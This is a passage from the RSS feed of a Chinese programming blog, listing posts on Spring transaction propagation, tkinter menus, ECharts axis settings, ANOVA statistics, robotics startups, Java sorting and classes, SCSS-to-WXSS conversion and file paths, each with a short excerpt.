Arrays.sort(points,(o1,o2)-&amp;gt;(o1[1]-o2[1])); int end = points[0][1]; int count = 1; for(int i=1;i&amp;lt;points.</description>
    </item>
    <item>
      <title>spring事务传播总结</title>
      <link>https://bchobby.github.io/posts/fadd0e9eb9490a4f77fecdedb75dadef/</link>
      <pubDate>Wed, 01 Jul 2020 13:43:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fadd0e9eb9490a4f77fecdedb75dadef/</guid>
      <description> 事务传播机制 场景：serviceA.methodA调用serviceB.methodB，A和B方法本 身都已经被添加了事务控制，那么A调用B的时候，就需要进行事务的一些协商传播级别是针对serviceB.methodB设置，serviceA.methodA保持默认即可，如果对A设置不当（SUPPORTS）当前事务还会失效,继而影响B的事务。同一个service中的方法互相调用，被调用方法事务不生效。spring事务是通过代理对象对方法增强来管理事务的，同一个service中通过一个方法调用另外一个方法，是通过目标对象this引用调用的，目标对象自身并没有事务管理功能。此时被调用的方法事务不起作用，设置传播级别更没有意义。 事务传播级别 REQUIRED 支持当前事务，如果当前没有事务，则新建事务如果当前存在事务，则加入事务，合并成一个事务 \B有事务B无事务A有事务A或B异常，A和B都回滚A或B异常，A和B都回滚A无事务A异常，A和B都不回滚，B异常 A不回滚，B回滚A或B异常，A和B都不回滚 SUPPORTS 如果当前存在事务，则加入事务如果当前不存在事务，则以非事务方式进行 \B有事务B无事务A有事务A或B异常，A和B都回滚A或B异常，A和B都回滚A无事务A或B异常，A和B都不回滚A或B异常，A和B都不回滚 MANDATORY 如果当前存在事务，则运行在当前事务中如果当前无事务，则抛异常，也即父级方法必须有事务 \B有事务B无事务A有事务A或B异常，A和B都回滚A或B异常，A和B都回滚A无事务抛异常抛异常 REQUIRES_NEW 新建事务，如果当前存在事务，则把当前事务挂起这个方法会独立提交事务，不受调用者（父方法）的事务影响，即使父方法异常，他也能正常提交 \B有事务B无事务A有事务A异常：A回滚，B不回滚，B异常：A和B都回滚A或B异常，A和B都回滚A无事务A异常：A和B都不回滚，B异常 ：A不回滚，B回滚A或B异常，A和B都不回滚 NOT_SUPPORTS 以非事务方式进行如果当前存在事务 ，则把当前事务挂起， \B有事务B无事务A有事务A或B异常：A都回滚，B都不回滚A或B异常，A和B都回滚A无事务A或B异常，A和B都不回滚A或B异常，A和B都不回滚 NEVER 以非事务方式运行，如果当前存在事务，则抛出异常，即父级方法必须无事务 ，很少使用 \B有事务B无事务A有事务抛异常抛异常A无事务A或B异常，A和B都不回滚A或B异常，A和B都不回滚 NESTED 如果当前存在事务，它将会成为父级的一个子事务，方法结束后并没有提交，只是等待父事务结束才提交如果当前没有事务，则新建事务如果它本身异常，父级可以捕获到它的异常，而不进行回滚。正常提交但是如果父级异常，它必然回滚这就是和上面REQUIRES_NEW的区别 \B有事务B无事务A有事务A或B异常，A和B都回滚A或B异常，A和B都回滚A无事务A异常：A和B都不回滚，B异常 ：A不回滚，B回滚A或B异常，A和B都不回滚 </description>
    </item>
    <item>
      <title>tkinter-menu详解</title>
      <link>https://bchobby.github.io/posts/b01aea75138f41d6d5aa88df25e7b7d8/</link>
      <pubDate>Tue, 30 Jun 2020 23:43:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b01aea75138f41d6d5aa88df25e7b7d8/</guid>
      <description>本片文章详细的介绍tkinter的菜单控件。通过学习本篇文章，你将完全掌握tkinter中菜单的使用。废话不多说，开始干货。&#xA;概念 在介绍tkinter菜单之前，我先会介绍3个概念以及这3个概念之间的关系。以便更好的理解后文的表述。&#xA;菜单栏(menu bar)、菜单(menu)、菜单项(menu item)，三者之间的层次关系如下：&#xA;下面这个实例图，更加的直观：&#xA;对于菜单栏(menu bar)来讲，菜单(menu)是其&#34;菜单项&#34;；对于菜单(menu)来讲，菜单项(menu item)是其&#34;菜单项&#34;。其实代码层面上就只有menu和menu item的概念，这里增加了一个菜单栏的逻辑概念是为了方便表述。&#xA;在创建菜单栏(menu bar)时，它的master是主窗口对象，然后通过主窗口对象的config函数将两者(菜单栏、主窗口)关联起来；在创建菜单(menu)时，这个菜单是 ‘menu’ 还是 ‘menu item’，根据不同的业务需求都是可以实现的。通常来讲，这个菜单对应的是’menu’，就像上图中的Edit菜单，它就是一个’menu’对象，它的master是菜单栏(menu bar)。Edit菜单的菜单项(menu item)是通过相应的方法(后面会具体介绍)将其与菜单关联起来；使用不同的关联方法，菜单的显示效果不同。可能初次看完这段表述，不能完全理解，没关系，继续往下看，等看完后面的实际代码的例子，再回过头来看这段话，就能完全明白了。&#xA;菜单(menu) 创建菜单控件 class Menu(master, cnf=..., **kw) master 表示父窗口或父菜单 kw 表示菜单控件的各种属性选项 菜单属性 下面介绍菜单的14种属性&#xA;属性作用activebackgroundThe background color that will appear on a choice when it is under the mouse.&#xA;设置活动背景色。当鼠标移动到菜单选项上时，该菜单项的背景色。activeborderwidthSpecifies the width of a border drawn around a choice when it is under the mouse. Default is 1 pixel.&#xA;设置活动边框宽度。当鼠标移动到菜单选项上时，以指定宽度显示该选项的边框。默认宽度是一个像素。最终的效果就是菜单选项的宽度改变。activeforegroundThe foreground color that will appear on a choice when it is under the mouse.</description>
    </item>
    <item>
      <title>echart柱状图Y轴最小间隔问题,Y轴不显示小数</title>
      <link>https://bchobby.github.io/posts/0ef72f5c3516cbf3b8f77b6bfd68ce55/</link>
      <pubDate>Tue, 30 Jun 2020 22:23:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0ef72f5c3516cbf3b8f77b6bfd68ce55/</guid>
      <description>今天来说说echart 柱状图 Y轴的最小值、间隔问题。&#xA;最近项目中用到柱状图，数据量少的时候，Y轴会出现小数，但是我们产品小哥哥说不能出现小数，好了，那就开干！&#xA;option = { xAxis: { type: &#39;category&#39;, data: [&#39;Mon&#39;, &#39;Tue&#39;, &#39;Wed&#39;, &#39;Thu&#39;, &#39;Fri&#39;, &#39;Sat&#39;, &#39;Sun&#39;] }, yAxis: { type: &#39;value&#39;, }, series: [{ data: [0, 1, 0, 2, 0, 0, 0], type: &#39;bar&#39; }] }; 设置最小刻度跟间隔不就可以实现了吗？&#xA;查阅官方文档，找到Y轴以下两个配置&#xA;1、yAxis.min ：坐标轴刻度最小值。&#xA;2、yAxis.minInterval： 自动计算的坐标轴最小间隔大小。&#xA;于是我就给加上了这两个配置项，运行结果是Y轴确实是不出现小数了，但是发现问题没有！！，周二那条数量为1的柱子不见啦！&#xA;option = { xAxis: { type: &#39;category&#39;, data: [&#39;Mon&#39;, &#39;Tue&#39;, &#39;Wed&#39;, &#39;Thu&#39;, &#39;Fri&#39;, &#39;Sat&#39;, &#39;Sun&#39;] }, yAxis: { type: &#39;value&#39;, min:1, minInterval:1, }, series: [{ data: [0, 1, 0, 2, 0, 0, 0], type: &#39;bar&#39; }] }; 认真看了下，Y轴不是从0开始，而是从1开始了，所以数量为1的柱子就“不见”了，删掉min配置，即可。</description>
    </item>
    <item>
      <title>统计学—方差分析概要</title>
      <link>https://bchobby.github.io/posts/5af2b27b43c1772f0eaa76017b4fdfc5/</link>
      <pubDate>Tue, 30 Jun 2020 22:19:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5af2b27b43c1772f0eaa76017b4fdfc5/</guid>
      <description>起源：方差分析是在20世纪20年代发展起来的一种统计方法.它是由英国统计学家费希尔在进行试验设计时为解释试验数据而首先引入的。目前。方差分析方法广泛用于分析心理学、生物学、工程和医药领域的试验数据。从形式上看.方差分析是比较多个总体的均值是否相等，但本质上它所研究的是变量之间的关系。&#xA;一、方差分析基本概念 文章目录 一、方差分析基本概念1、为什么使用方差分析来研究？2、方差分析中的重要术语3、方差分析的基本思想与原理4、误差分析5、方差分析中的基本假定 二、单因素方差分析1、生成出基本数据结构2、分析步骤2.1 提出假设2.2 构造检验的统计量 3、关系强度的测量4、方差分析中的多重比较5、非参检验 三、双因素方差分析1、无交互作用的双因素方差分析1.1 数据结构1.2 分析步骤1.3 关系强度的测量 2、有交互作用的双因素方差分析3、R语言实战 四、参考资料 1、为什么使用方差分析来研究？ 2、方差分析中的重要术语 因素或因子：在方差分析中，所要检验的对象称为因素或因子；&#xA;水平或处理：因素的不同表现称为水平或处理；&#xA;观测值：在每个因子水平下得到的样本数据称为观测值；&#xA;正如上例所显示的，要分析行业对被投诉次数是否有显著影响。这里的行业是要检验的对象，称为因素或因子；零售业、旅游业、航空公司、家电制造业是行业这一因素的具体表现，称为水平或处理：在每个行业下得到的样本数据（被投诉次数）称为观测值。由于这里只涉及行业一个因素，因此称为单因素4水平的试验。因素的每一个水平可以看做一个总体，如零售业、旅游业、航空公司、家电制造业可以看做4个总体，上面的数据可以看做从这4个总体中抽取的样本数据。&#xA;在单因素方差分析中，通常涉及两个变量：一个是分类型自变量，一个是数值型因变量。在上例中，行业就是自变量，并且是个分类型变量；而零售业、旅游业等就是行业这个自变量的具体取值，称为行业这个因素的水平或处理。被投诉次数是因变量，并且还是个数值型变量，不同的被投诉次数就是因变量的取值。方差分析就是要研究行业对被投诉次数是否有显著影响。&#xA;3、方差分析的基本思想与原理 据上例，我们需要判断的是行业对被投诉次数是否有显著影响的问题；通常我们需要画出散点图来进行一个总体的判断，从散点图中可以看到是有一定差异的；但我们需要知道的是这种差异有可能是由抽样的随机性造成的，因此，我们需要更准确的方法来检验这种差异是否显著，也就是进行方差分析。之所以叫方差分析，是因为虽然人们感兴趣的是均值，但在判断均值之间是否有差异时需要借助于方差。同时也表示，它是通过对数据误差来源的分析来判断不同总体的均值是否相等，进而分析自变量对因变量是否有显著影响。&#xA;组内误差：来自水平内部的数据误差一般称为组内误差，它反映了一个样本内部数据的离散程度。显然，组内误差只含有随机误差。如上例，零售业中所抽取的7家企业被投诉次数之间的误差就是组内误差。&#xA;组间误差：不同水平之间的数据误差成为组间误差。这种差异可能是由于抽样本身形成的随机误差，也可能是由于行业本身的系统性因素造成的系统误差。因此，组间误差是随机误差和系统误差的总和。例如，四个行业被投诉次数之间的误差就是组间误差，它反映了不同样本之间数据的离散程度。&#xA;总平方和：反映全部数据误差大小的平方和称为总平方和，记为SST。&#xA;组内平方和：反映组内误差大小的平方和称为组内平方和，也称为残差平方和，记为SSE。&#xA;组间平方和：反映组间误差大小的平方和称为组间平方和，也称为因素平方和，记为SSA。&#xA;总误差（SST）=组内误差（SSE）+组间误差（SSA）&#xA;4、误差分析 1、如果不同行业对被投诉次数没有影响，那么组件误差与组内误差经过平均后的数值（称为均方或方差）就应该很接近，它们比值机会接近为1&#xA;2、如果不同行业对被投诉次数有影响，那么组间误差平均后的数值就会大于组内误差平均后的数值，它们之间的比值就会大于1.当这个比值达到某种程度时，就认为因素的不同水平之间存在显著差异，也就是自变量对因变量有显著影响。&#xA;5、方差分析中的基本假定 1、每个总体都应服从正态分布&#xA;2、各个总体的方差必须相同&#xA;3、观测值是独立的&#xA;二、单因素方差分析 1、生成出基本数据结构 2、分析步骤 2.1 提出假设 如果拒绝原假设H0，则意味着自变量对因变量有显著影响，也就是自变量与因变量之间有显著关系；如果不拒绝原假设H0，则没有证据表明自变量与因变量之间有显著关系。&#xA;2.2 构造检验的统计量 组内平方和： 组间平方和：&#xA;总平方和：&#xA;由于各误差平方和的大小与观测值的多少有关，为了消除观测值多少对误差平方和大小的影响，需要将其平均，也就是用各平方和除以它们所对应的自由度，这一结果称为均方或方差。&#xA;由于我们要比较的是组间均方和组内均方之间的差异，所以通常只计算SSA的均方和SSE的均方。其计算公式分别为：&#xA;将MSA与MSE进行对比，即得到所需要的检验统计量F。当H0为真时，二者的比值服从分子自由度为k-1、分母自由度为n-k的F分布，即&#xA;判断依据：判断因素的水平是否对观测值有显著影响，实际上也就是比较组间方差与组内方差之间差异的大小。那么，它们之间的差异达到什么程度才表明有系统误差存在呢？这就需要用检验统计量进行判断。将统计量的值F与给定的显著性水平a下的临界值Fa进行比较，从而做出对原假设H0的决策。&#xA;根据给定的显著性水平a，在F分布表中查找临界值Fa（k-1，n-k）&#xA;若统计量F&amp;gt;Fa，则拒绝原假设&#xA;若统计量F&amp;lt;Fa，则不拒绝原假设&#xA;总的来说，最后需要通过计算生成出这样一张方差分析表&#xA;3、关系强度的测量 以上的计算方差分析结果可以判断出自变量对因变量是否有显著影响，但到底影响程度是多少却没有直观显示，这就需要进一步对关系强度进行测量。&#xA;测量方法：用组间平方和（SSA）占总平方和（SST）的比例大小来反映，将这一比例记为R2，即&#xA;R2的平方根就可以用来测量自变量与因变量之间的关系强度。&#xA;4、方差分析中的多重比较 在我们判断出不同行业被投诉次数的均值不完全相同的时候，我们需要进一步比较这些差异到底是出现在哪些行业当中的，此时我们就需要使用多重比较方法，它是通过对总体均值之间的配对比较来进一步检验到底哪些均值之间存在差异。&#xA;多重比较方法有许多种，我们一般使用费希尔提出的最小显著差异方法，缩写为LSD方法，具体步骤有：&#xA;5、非参检验 三、双因素方差分析 当方差分析中涉及到两个分类型自变量时候，称为双因素方差分析。以不同品牌的彩电在不同地区的销售量情况作为案例，其中品牌与地区便是两个分类型自变量，销售量就是最终的观测值。如果品牌与地区对销售量的影响是相互独立的，那么此时的双因素方差分析称为无交互作用；如果某个地区对某种品牌有特殊偏好，这就是两个因素结合后产生的新效应，这时的双因素方差分析称为有交互作用的双因素方差分析&#xA;1、无交互作用的双因素方差分析 1.1 数据结构 由于双因素方差分析有两个因素，因此在获取数据的时候，需要将一个因素安排在行的位置，称为行因素；而另一个因素安排在列位置，称为列因素，具体数据结构图如下图所示：</description>
    </item>
    <item>
      <title>机器人理论基础 Chapter 1 - Introduction</title>
      <link>https://bchobby.github.io/posts/53ca1b434b2bb5acafd9c2a53a095e77/</link>
      <pubDate>Tue, 30 Jun 2020 22:13:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/53ca1b434b2bb5acafd9c2a53a095e77/</guid>
      <description>我们从最基础入手，首先开始的是对工业机器人（移动性和自动化）进行简单的介绍，相关参考资料的推荐，然后做机器人系统和机器人模拟器的相关了解。&#xA;大规模公司才使用机器人，毕竟一个普通的机器人60万，更贵的还有啊。机器人提高生产力增加品质，还可以在危险的环境下工作，1998年7月4日机器人登陆火星。&#xA;1998年7月4日，美国“火星探路者”宇宙飞船经过4亿多公里的航行，成功地登陆火星并释放了一个机器人在火星探察。在这次被称为人类迄今最成功的星际探测计划之一的活动中，“火星探路者”共向地面传回26亿比特的科学信息，1.6万幅图片及对火星岩石和土壤进行了1.5万份完整的化学分析。&#xA;机器人的使用可以和电脑有很多的联系，物联网工业4.0提倡把所有的机器人都连接上。冰箱可以上网，联络到各大卖场，缺少什么物资就发个消息。电脑辅助系统，用电脑先模拟一遍，分析一遍。工作空间的探索，看真实和虚拟世界的误差，矫正工作事先做。首先我们来分析工作空间，比如人的手臂，静力结构分析，看漏洞在哪里？看看设计的路径是否符合要求，确认运动从各个方面都是可行的能实现的。&#xA;机器人领域创业的情况，XBOTPARK训练营里获得的信息：&#xA;最开始机器人进入家庭，是irobot麻省理工导师研究生3人组的扫地机器人产品(基于美国有地毯的背景，吸尘)，国内有很多山寨版。云鲸智能，适应国内地面多数为瓷砖的特点，它设计的是高速旋转紧压地面的拖布，有戴森的味道，科技创造良好用户体验，用10倍性能提升买3倍的价钱。2015年时，小米，iRobot,Dyson,科沃斯都有类似的家庭用产品，云鲸有机会吗？扫地机器人产品已经有很多了，但对于拖地，用户还是有痛点的，做产品调研和用户调研以及清洁测式。15年初创3个人，今天500人(产品研发时间轴)。智能算法如建图算法，困难部位补扫，房间切割，最优化清洁路径，即时重定位。&#xA;对于用户痛点，我们如何去抓住机会？以现代厨房为例，自我代入产品使用去思考。创业是来源于生活的。&#xA;SwitchBot卧安科技，立足于IoT智能家居领域，(拉窗帘神器，传统窗帘配备上一个灵活的switchbot控制器，开窗帘机器人)，传说卧安一年做10几款产品，智能终端APP控制。换位思考，不以健康人角度，以残疾人，老人代入思考。比同类型产品更简单，用户更喜欢。卧安07年核心团队形成。&#xA;学院派创业 美国的学院派创业者，XBOTPARK松山湖机器人部落的初衷，14年3位老师创立。&#xA;工业类公司的创立比较苛刻，但是智能C端还算友好。团队案例电动船外机（机电一体+智能）水下机器人欧洲市场占有率比较大。也有面向B端的创业公司，海柔创新。李群自动化轻量级工业机器人，控制和本体一体化。Best innovation of the year 时代周刊评选基地有2个入选。年轻人在智能C端的创业是有优势的。&#xA;新制造：C端硬科技品牌的孵化 大湾区制造业40年首先是代工时代，20世纪80年代，手机，电脑，pad，智能音箱，20世纪初山寨企业被干掉，通讯企业巨头被苹果公司干掉后的思考&#xA;转型升级之路：1990s-2000s，创业者年龄40岁左右（华为，中兴，TCL），市场敏感，资源整合能力很强，在产品定义上没有创新。代工企业（类似机械加工）的利润越来越薄，在往东南亚转移。&#xA;制造业生态，B端企业困境和C端企业挑战 B端公司缺乏技术，缺乏品牌，我们来看客户的客户，机床厂子，零部件核心技术比较弱。&#xA;C端企业挑战：定义了行业规矩的不是我们，是苹果是三星，华为的毛利在5G，基站，单独看C端，是不行的。&#xA;看戴森的模式，戴森比赛的获奖团队一般是在校学生，由于没有经验，没有约束，也就敢于颠覆。给政府的产业是G端，对公司B端也很难办，年轻人还是搞C端比较容易，先从C端产品开始做起，建立品牌，影响力后，再走B端，带动材料，芯片，工厂，以前我们是用外部的C端来代替火车头拉动产业链。现在我们来打造自己家的C端。&#xA;机遇列举 1.中国消费群体的崛起，2.物联网与智能时代（机器人时代）3.大湾区优势：设计产业，零部件生产商，样机制造，大规模生产，物流体系，产业工人和管理者，配套设施，供应链资源优势。4.市场需求与科技融合创造极致的用户体验。传统的设计学院和传统的理工科培养的人才。5.新工科教育：Education is not the filling of a pail,but the lighting of a fire.高等教育发展演变，从知识经济到创新经济的演变。学生应该在舞台，老师是辅助，学生要有自己的内在驱动力，构思一个好的想法。&#xA;C端产品生态链 消费者心理（痛点，价值观）-产品定义（设计思维，客户调研，问题的收集和定义）-研发（R&amp;amp;D）-生产（B端企业优势资源）-渠道（平台）-服务；新工科教育，孵化平台&#xA;希腊神庙为甚千年不倒？C端产品的基石&#xA;XbotPARK,从幼儿园就开始有机器人教育&#xA;技术门槛不高的话，被抄袭的可能性是很大的。智能家具创业是传统家具公司转型？&#xA;今日写文背景音乐《一场恋爱》&#xA;长发落寞&#xA;如你看着我&#xA;思念诉说&#xA;眼神多像云朵&#xA;这一场恋爱&#xA;我期待的女孩&#xA;她身影清澈&#xA;多么晶莹的无奈&#xA;这一场恋爱&#xA;过去和现在&#xA;无论晴朗破碎&#xA;总会有一转身的等待</description>
    </item>
    <item>
      <title>自定义数组排序中遇到的问题</title>
      <link>https://bchobby.github.io/posts/a946a1b33f4ba31d66cac4e328fa2bd1/</link>
      <pubDate>Tue, 30 Jun 2020 21:29:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a946a1b33f4ba31d66cac4e328fa2bd1/</guid>
      <description>最近几次在使用Array.sort()函数对数组自定义排序的时候遇到了一个问题，出现问题的代码如下：&#xA;int[] c = new int[10]; for(int i=0;i&amp;lt;10;i++) c[i] = i; Arrays.sort(c, new Comparator&amp;lt;int&amp;gt;(){ @Override public int compare(int a, int b){ int c1 = bitCount(a); int c2 = bitCount(b); return c1 == c2 ? a - b : c1 - c2; } }); 这段代码一直报错，开始我想的是我用这种方式给String数组排序（按照字符串长度排序）的时候并不会报错，后来查到原因是，这种形式并不支持基本数据类型，于是我把Comparator接口中的int和compare方法中的int改成了integer这种包装器类型：&#xA;Integer[] c = new Integer[10]; for(int i=0;i&amp;lt;10;i++) c[i] = i; Arrays.sort(c, new Comparator&amp;lt;Integer&amp;gt;(){ @Override public int compare(Integer a, Integer b){ int c1 = bitCount(a); int c2 = bitCount(b); return c1 == c2 ?</description>
    </item>
    <item>
      <title>4. 方差分析</title>
      <link>https://bchobby.github.io/posts/344c469dfd272f40e04b8dc17263df0f/</link>
      <pubDate>Tue, 30 Jun 2020 21:17:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/344c469dfd272f40e04b8dc17263df0f/</guid>
      <description>方差分析 1 概要 方差分析(Analysis of variance, ANOVA) 主要研究分类变量作为自变量时，对因变量的影响是否是显著的。&#xA;方差分析的方法是由20世纪的统计学家Ronald Aylmer Fisher在1918年到1925年之间提出并陆续完善起来的，该方法刚开始是用于解决田间实验的数据分析问题，因此，方差分析的学习是和实验设计、实验数据的分析密不可分的。&#xA;实验设计和方差分析都有自己相应的语言。因此，在这里我们通过一个焦虑症治疗的实例，先了解一些术语，并且思考一下，方差分析主要用于解决什么样的问题。&#xA;以焦虑症治疗为例，现有两种治疗方案：认知行为疗法（CBT）和眼动脱敏再加工法（EMDR）。我们招募10位焦虑症患者作为志愿者，随机分配一半的人接受为期五周的CBT，另外一半接受为期五周的EMDR，设计方案如表1-1所示。在治疗结束时，要求每位患者都填写状态特质焦虑问卷（STAI），也就是一份焦虑度测量的自我评测报告。&#xA;表1-1 单因素组间方差分析&#xA;CBTEMDRs1s6s2s7s3s8s4s9s5s10 在这个实验设计中，治疗方案是两水平（CBT、EMDR）的组间因子。之所以称其为组间因子，是因为每位患者都仅被分配到一个组别中，没有患者同时接受CBT和EMDR。表中字母s代表受试者（患者）。STAI是因变量，治疗方案是自变量。由于在每种治疗方案下观测数相等，因此这种设计也称为均衡设计（balanced design）；若观测数不同，则称作非均衡设计（unbalanced design）。&#xA;因为仅有一个类别型变量，表1的统计设计又称为单因素方差分析（one-way ANOVA），或进一步称为单因素组间方差分析。方差分析主要通过F检验来进行效果评测，若治疗方案的F检验显著，则说明五周后两种疗法的STAI得分均值不同。&#xA;假设你只对CBT的效果感兴趣，则需将10个患者都放在CBT组中，然后在治疗五周和六个月后分别评价疗效，设计方案如表1-2所示。&#xA;表1-2 单因素组内方差分析&#xA;时间患者5周6个月s1s2s3s4s5s6s7s8s9s10 此时，时间（time）是两水平（五周、六个月）的组内因子。因为每位患者在所有水平下都进行了测量，所以这种统计设计称单因素组内方差分析；又由于每个受试者都不止一次被测量，也称作重复测量方差分析。当时间的F检验显著时，说明患者的STAI得分均值在五周和六个月间发生了改变。&#xA;现假设你对治疗方案差异和它随时间的改变都感兴趣，则将两个设计结合起来即可：随机分配五位患者到CBT，另外五位到EMDR，在五周和六个月后分别评价他们的STAI结果（见表1-3）。&#xA;表1-3 含组间和组内因子的双因素方差分析&#xA;时间疗法患者5周6个月CBTs1s2s3s4s5EMDRs6s7s8s9s10 疗法（therapy）和时间（time）都作为因子时，我们既可分析疗法的影响（时间跨度上的平均）和时间的影响（疗法类型跨度上的平均），又可分析疗法和时间的交互影响。前两个称作主效应，交互部分称作交互效应。&#xA;当设计包含两个甚至更多的因子时，便是因素方差分析设计，比如两因子时称作双因素方差分析，三因子时称作三因素方差分析，以此类推。若因子设计包括组内和组间因子，又称作混合模型方差分析，当前的例子就是典型的双因素混合模型方差分析。&#xA;本例中，你将做三次F检验：疗法因素一次，时间因素一次，两者交互因素一次。若疗法结果显著，说明CBT和EMDR对焦虑症的治疗效果不同；若时间结果显著，说明焦虑度从五周到六个月发生了变化；若两者交互效应显著，说明两种疗法随着时间变化对焦虑症治疗影响不同（也就是说，焦虑度从五周到六个月的改变程度在两种疗法间是不同的）。&#xA;现在，我们对上面的实验设计稍微做些扩展。众所周知，抑郁症对病症治疗有影响，而且抑郁症和焦虑症常常同时出现。即使受试者被随机分配到不同的治疗方案中，在研究开始时，两组疗法中的患者抑郁水平就可能不同，任何治疗后的差异都有可能是最初的抑郁水平不同导致的，而不是由于实验的操作问题。抑郁症也可以解释因变量的组间差异，因此它常称为混淆因素（confounding factor）。由于你对抑郁症不感兴趣，它也被称作干扰变数（nuisance variable）。&#xA;假设招募患者时使用抑郁症的自我评测报告，比如白氏抑郁症量表（BDI），记录了他们的抑郁水平，那么你可以在评测疗法类型的影响前，对任何抑郁水平的组间差异进行统计性调整。本案例中，BDI为协变量，该设计为协方差分析（ANCOVA）。&#xA;以上设计只记录了单个因变量情况（STAI），为增强研究的有效性，可以对焦虑症进行其他的测量（比如家庭评分、医师评分，以及焦虑症对日常行为的影响评价）。当因变量不止一个时，设计被称作多元方差分析（MANOVA）， 若协变量也存在， 那么就叫多元协方差分析（MANCOVA）。&#xA;下面我们主要介绍单因素方差分析与双因素方差分析的原理与实现。&#xA;2 单因素方差分析 2.1 推导过程 接下来我们使用种小麦的例子，去帮助理解方差分析里涉及的一些变量。&#xA;假设我们现在有若干品种的小麦，要在某一地区播种，我们想知道这些品种的产量有没有显著区别，为此我们先设计了一个田间实验，取一大块地将其分成形状大小都相同的 n n n小块．设供选择的品种有 k k k个，我们打算其中的 n 1 n_1 n1​小块种植品种1, n 2 n_2 n2​小块种植品种2，等等， n 1 + n 2 + . . .</description>
    </item>
    <item>
      <title>使用vscode让scss或less，转换成wxss</title>
      <link>https://bchobby.github.io/posts/ff1d045d2ad91544b1edd0a1be2cf50c/</link>
      <pubDate>Tue, 30 Jun 2020 15:49:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ff1d045d2ad91544b1edd0a1be2cf50c/</guid>
      <description>1、scss请先下载Easy Sass,less下载Easy Less,我自己是用的scss,所以从图中可以看到我已经安装Easy Sass了。&#xA;2、要下载直接搜索框搜索，找到对应的插件就可以了。&#xA;3、打开设置文件，可能有些小伙伴不知道怎么打开，我这里说一下（快捷键ctrl+shift+p可以打开搜索，输入setting,点击Preferences:Open Settins(JSON)就可以了）&#xA;4、编辑以下配置，这里方便小伙伴们复制，粘贴我把配置放到下面。&#xA;&#34;easysass.formats&#34;: [ { &#34;format&#34;: &#34;expanded&#34;, //格式，expanded不压缩，compressed压缩 &#34;extension&#34;: &#34;.wxss&#34; //输出文件的后缀,小程序可以写&#39;wxss&#39; }, // { // &#34;format&#34;: &#34;compressed&#34;, // &#34;extension&#34;: &#34;.min.css&#34; // } ], 5、下面是我写的scss&#xA;6、这是转换后的wxss</description>
    </item>
    <item>
      <title>编写程序模拟两个村庄共用同一口井水，编写一个Village类</title>
      <link>https://bchobby.github.io/posts/8980fd879d2a57e6ed5770711cad3975/</link>
      <pubDate>Tue, 30 Jun 2020 14:16:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8980fd879d2a57e6ed5770711cad3975/</guid>
      <description> 该类有一个静态的int型成员变量waterAmount，用于模拟井水的水量。&#xA;在主类Land的main()方法中创建两个村庄，一个村庄改变了waterAmount的值，另一个村庄查看waterAmount的值。 package 面向对象_HomeWork; import java.util.Scanner; public class 水井 { public static void main(String[] args) { Village v1=new Village(); Village v2=new Village(); Scanner s=new Scanner(System.in); System.out.println(&#34;请输入改变的值：&#34;); int a=s.nextInt(); v1.Drink(a); System.out.println(&#x9;&#34;村庄2查看后还剩：&#34;+v2.SeeWater(a)+&#34;升水&#34;); } } class Village{ static int waterAmount=1000; public void Drink(int a){ System.out.println(&#34;村庄1喝了：&#34;+a+&#34;升水&#34;); } public int SeeWater(int change){ return waterAmount=waterAmount-change; } } </description>
    </item>
    <item>
      <title>什么是相对路径？什么是绝对路径？</title>
      <link>https://bchobby.github.io/posts/328662407a26b937439661d280547a69/</link>
      <pubDate>Tue, 30 Jun 2020 12:42:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/328662407a26b937439661d280547a69/</guid>
      <description> 1.相对路径 绝对路径：从根目录开始，是一个完整的路径。&#xA;例：D:\demo\img\g.jpg&#xA;2.绝对路径 相对路径：相对于项目目录的路径，在开发中引用js、css、或者图片等，都是使用相对路径。&#xA;例：..\img\g\jpg&#xA;3.绝对路径和相对路径的区别 参考：https://www.w3cschool.cn/css/question-10231674.html&#xA;&#34;.&#34; -- 代表目前所在的目录，相对路径。 如：&amp;lt;a href=&#34;./abc&#34;&amp;gt;文本&amp;lt;/a&amp;gt; 或 &amp;lt;img src=&#34;./abc&#34; /&amp;gt; &#34;..&#34; -- 代表上一层目录，相对路径。 如：&amp;lt;a href=&#34;../abc&#34;&amp;gt;文本&amp;lt;/a&amp;gt; 或 &amp;lt;img src=&#34;../abc&#34; /&amp;gt; &#34;../../&#34; -- 代表的是上一层目录的上一层目录，相对路径。 如：&amp;lt;img src=&#34;../../abc&#34; /&amp;gt; &#34;/&#34; -- 代表根目录,绝对路径。 如：&amp;lt;a href=&#34;https://bchobby.github.io/abc&#34;&amp;gt;文本&amp;lt;/a&amp;gt; 或 &amp;lt;img src=&#34;https://bchobby.github.io/abc&#34; /&amp;gt; &#34;D:/abc/&#34; -- 代表根目录,绝对路径。 </description>
    </item>
    <item>
      <title>图解操作系统知识总结之内存管理</title>
      <link>https://bchobby.github.io/posts/9e33cbbb4f0a8c4afb2a2af9190f1041/</link>
      <pubDate>Tue, 30 Jun 2020 09:59:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9e33cbbb4f0a8c4afb2a2af9190f1041/</guid>
